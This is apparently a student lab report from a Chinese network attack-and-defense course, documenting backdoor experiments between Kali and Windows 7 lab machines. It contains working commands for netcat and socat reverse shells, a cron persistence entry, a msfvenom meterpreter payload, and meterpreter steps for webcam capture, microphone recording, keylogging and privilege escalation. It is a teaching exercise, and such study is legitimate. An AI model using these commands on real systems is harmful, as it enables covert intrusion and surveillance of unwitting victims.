20155318 《网络攻防》Exp2 后门原理与实践
基础问题回答
- 例举你能想到的一个后门进入到你系统中的可能方式?
- 下载软件前要勾选一些用户协议,其中部分就存在后门进入系统的安全隐患。
- 例举你知道的后门如何启动起来(win及linux)的方式?
- 运行某些程序、或者打开一些文件时后门就会自启动。
- Meterpreter有哪些给你映像深刻的功能?
- 在对方植入后门的情况下控制他的电脑,启动摄像头。
- 如何发现自己有系统有没有被安装后门?
- 查看正在运行中的程序,被开放的端口是否有异常。
实验内容
使用netcat获取主机操作Shell,cron启动
Windows获得Linux Shell
- 查询window7的ip使用ncat.exe程序监听本机的5318端口
- 在Kali环境下,使用nc指令的-e选项反向连接Windows主机的5318端口
- Windows下成功获得了一个Kali的shell,运行结果如下:
Linux获得Windows Shell
- 过程与上类似,kali下使用nc指令监听5318端口,在Windows下,使用ncat.exe程序的-e选项项反向连接Kali主机的5318端口,运行结果如下:
使用nc传输数据
- Windows下监听5318端口:
- Kali下连接到Windows的5318端口:
- 建立连接之后,两台主机聊天
使用netcat获取主机操作Shell,cron启动
- 先在Windows系统下,监听5318端口:
- 用crontab -e指令编辑一条定时任务,选择编辑器时选择基本的vim编辑器
- 在最后一行添加xx * * * * /bin/netcat 192.168.88.129 5318 -e /bin/sh,意思是在每个小时的第xx分钟反向连接Windows主机的5318端口,我将时间设置在了一分钟以后:
使用socat获取主机操作Shell, 任务计划启动
在Windows系统下,打开控制面板->管理工具->任务计划程序,创建任务,填写任务名称后,新建一个触发器:
- 在操作->程序或脚本中选择你的socat.exe文件的路径,在添加参数一栏填写tcp-listen:5318 exec:cmd.exe,pty,stderr,这个命令的作用是把cmd.exe绑定到端口5318,同时把cmd.exe的stderr重定向到stdout上
- 创建完成之后,按Windows+L快捷键锁定计算机,再次打开时,可以发现之前创建的任务已经开始运行
- 在Kali环境下输入指令socat - tcp:192.168.88.129:5318,这里的第一个参数-代表标准的输入输出,第二个流连接到Windows主机的5318端口,此时可以发现已经成功获得了一个cmd shell:
使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
- 输入指令`
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.88.135 LPORT=5318 -f exe > 5318_backdoor.exe
生成后门程序: - 通过nc指令将生成的后门程序传送到Windows主机上:
- 在Kali上使用msfconsole指令进入msf控制台,使用监听模块,设置payload,设置反弹回连的IP和端口,用
show options
查看 - 进行监听,打开Windows上的后门程序,此时Kali上已经获得了Windows主机的连接,并且得到了远程控制的shell
使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
- 使用record_mic指令可以截获一段音频:
- 使用webcam_snap指令可以使用摄像头进行拍照:(忽略画面)
- 使用screenshot指令可以进行截屏:
- 使用keyscan_start指令开始记录下击键的过程,使用keyscan_dump指令读取击键的记录:
先使用getuid指令查看当前用户,使用getsystem指令进行提权,如图所示,提权成功
实验总结与体会
这次试验让我有了一种假装自己是黑客的感觉,按照老师的要求完成实验内容,初步了解了后门的原理和实践情况。印象最深的是截屏和启动摄像头这两个功能。但是目前的实验还是在关闭防火墙,关闭杀毒软件的环境下完成的,更期待今后在不刻意关闭这些的情况下的实验项目~